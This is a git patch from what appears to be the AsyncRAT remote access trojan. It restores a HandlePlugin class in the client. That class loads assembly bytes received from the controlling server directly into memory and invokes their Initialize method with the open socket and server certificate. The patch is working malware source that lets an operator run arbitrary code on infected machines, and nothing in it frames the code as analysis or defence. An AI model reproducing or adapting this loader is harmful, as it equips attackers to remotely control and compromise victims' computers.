From b049d05f0dda5416652186aad234ac38aafa9bc8 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Sat, 22 Jun 2019 19:44:01 +0300 Subject: [PATCH] Revert "Update v0.5.2" This reverts commit add6f4e73a04eafc3c0c482a361a36941928ed92. --- AsyncRAT-C#/AsyncRAT-C#/Client/Client.csproj | 1 + .../Client/Handle Packet/HandlePlugin.cs | 32 +++++++++++++++++++ 2 files changed, 33 insertions(+) create mode 100644 AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/AsyncRAT-C#/Client/Client.csproj index 0afea06..5ea91bf 100644 --- a/AsyncRAT-C#/AsyncRAT-C#/Client/Client.csproj +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/Client.csproj @@ -127,6 +127,7 @@ + diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs b/AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs new file mode 100644 index 0000000..985ed68 --- /dev/null +++ b/AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs @@ -0,0 +1,32 @@ +using Client.MessagePack; +using Client.Connection; +using System; +using System.Threading; +using System.Reflection; +using System.Diagnostics; +using Client.Helper; + +namespace Client.Handle_Packet +{ + public class HandlePlugin + { + public HandlePlugin(MsgPack unpack_msgpack) + { + new Thread(delegate () + { + try + { + Assembly plugin = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes()); + MethodInfo meth = plugin.GetType("Plugin.Plugin").GetMethod("Initialize"); + meth.Invoke(null, new object[] { ClientSocket.TcpClient, Settings.ServerCertificate }); + } + catch (Exception ex) + { + Debug.WriteLine(ex.Message); + Packet.Error(ex.Message); + } + }) + { IsBackground = true }.Start(); + } + } +}